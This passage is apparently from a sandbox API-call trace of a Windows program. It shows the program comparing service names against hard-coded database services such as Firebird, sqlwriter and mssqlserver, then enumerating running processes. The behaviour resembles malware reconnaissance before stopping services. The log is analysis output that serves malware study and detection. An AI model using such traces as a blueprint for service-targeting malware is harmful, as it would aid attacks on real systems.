[0204.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0204.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0204.010] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0204.010] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0204.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0204.010] lstrlenW (lpString="ShellHWDetection") returned 16 [0204.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0204.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0204.010] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0204.010] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0204.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0204.011] lstrlenW (lpString="Spooler") returned 7 [0204.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0204.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0204.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0204.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0204.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0204.011] lstrlenW (lpString="SSDPSRV") returned 7 [0204.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0204.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0204.011] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0204.011] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0204.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0204.011] lstrlenW (lpString="StateRepository") returned 15 [0204.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0204.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0204.011] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0204.011] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0204.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0204.011] lstrlenW (lpString="SysMain") returned 7 [0204.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0204.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0204.011] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0204.011] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0204.011] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x801a48 | out: hHeap=0x790000) returned 1 [0204.011] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0204.511] Process32FirstW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.512] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0204.513] lstrlenW (lpString="System") returned 6 [0204.513] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0204.514] lstrlenW (lpString="smss.exe") returned 8 [0204.514] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.515] lstrlenW (lpString="csrss.exe") returned 9 [0204.515] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0204.516] lstrlenW (lpString="wininit.exe") returned 11 [0204.516] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.517] lstrlenW (lpString="csrss.exe") returned 9 [0204.517] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0204.519] lstrlenW (lpString="winlogon.exe") returned 12 [0204.519] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0204.520] lstrlenW (lpString="services.exe") returned 12 [0204.520] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0204.521] lstrlenW (lpString="lsass.exe") returned 9 [0204.521] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.522] lstrlenW (lpString="svchost.exe") returned 11 [0204.522] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0204.523] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0204.523] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0204.524] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0204.524] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.525] lstrlenW (lpString="svchost.exe") returned 11 [0204.525] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0204.526] lstrlenW (lpString="dwm.exe") returned 7 [0204.526] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.527] lstrlenW (lpString="svchost.exe") returned 11 [0204.527] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.541] lstrlenW (lpString="svchost.exe") returned 11 [0204.542] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.543] lstrlenW (lpString="svchost.exe") returned 11 [0204.543] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.544] lstrlenW (lpString="svchost.exe") returned 11 [0204.544] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.546] lstrlenW (lpString="svchost.exe") returned 11 [0204.546] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.547] lstrlenW (lpString="svchost.exe") returned 11 [0204.547] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.548] lstrlenW (lpString="svchost.exe") returned 11 [0204.548] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.549] lstrlenW (lpString="svchost.exe") returned 11 [0204.549] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.561] lstrlenW (lpString="svchost.exe") returned 11 [0204.561] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0204.562] lstrlenW (lpString="spoolsv.exe") returned 11 [0204.562] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.563] lstrlenW (lpString="svchost.exe") returned 11 [0204.563] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.563] lstrlenW (lpString="svchost.exe") returned 11 [0204.563] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0204.564] lstrlenW (lpString="audiodg.exe") returned 11 [0204.564] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0204.565] lstrlenW (lpString="sihost.exe") returned 10 [0204.565] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.565] lstrlenW (lpString="svchost.exe") returned 11 [0204.566] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0204.566] lstrlenW (lpString="taskhostw.exe") returned 13 [0204.566] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0204.567] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0204.567] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0204.568] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0204.568] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0204.568] lstrlenW (lpString="explorer.exe") returned 12 [0204.568] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0204.569] lstrlenW (lpString="Memory Compression") returned 18 [0204.569] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0204.570] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0204.570] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0204.972] lstrlenW (lpString="SearchUI.exe") returned 12 [0204.972] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0204.973] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0204.973] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0204.974] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0204.974] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0204.975] lstrlenW (lpString="entering.exe") returned 12 [0204.975] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0204.976] lstrlenW (lpString="literally.exe") returned 13 [0204.976] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0204.977] lstrlenW (lpString="prep.exe") returned 8 [0204.977] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0204.978] lstrlenW (lpString="homeless.exe") returned 12 [0204.978] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0204.979] lstrlenW (lpString="tips.exe") returned 8 [0204.979] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0204.980] lstrlenW (lpString="rhode_cow.exe") returned 13 [0204.980] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0204.981] lstrlenW (lpString="discount.exe") returned 12 [0204.981] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0204.982] lstrlenW (lpString="littleclosest.exe") returned 17 [0204.982] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0204.983] lstrlenW (lpString="compact.exe") returned 11 [0204.983] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0204.984] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0204.984] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0204.985] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0204.985] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0204.986] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0204.986] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0204.987] lstrlenW (lpString="vincentkills.exe") returned 16 [0204.987] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0204.988] lstrlenW (lpString="armstrong.exe") returned 13 [0204.988] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0204.989] lstrlenW (lpString="superb_guilty.exe") returned 17 [0204.989] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0204.990] lstrlenW (lpString="conditional employer.exe") returned 24 [0204.990] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0204.990] lstrlenW (lpString="middle shown.exe") returned 16 [0204.991] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0204.991] lstrlenW (lpString="forced_online.exe") returned 17 [0204.991] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0204.992] lstrlenW (lpString="knitting.exe") returned 12 [0204.992] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0204.993] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0204.993] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0204.994] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0204.994] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0204.995] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0204.995] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.996] lstrlenW (lpString="svchost.exe") returned 11 [0204.996] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0204.997] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0204.997] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0204.998] lstrlenW (lpString="conhost.exe") returned 11 [0204.998] 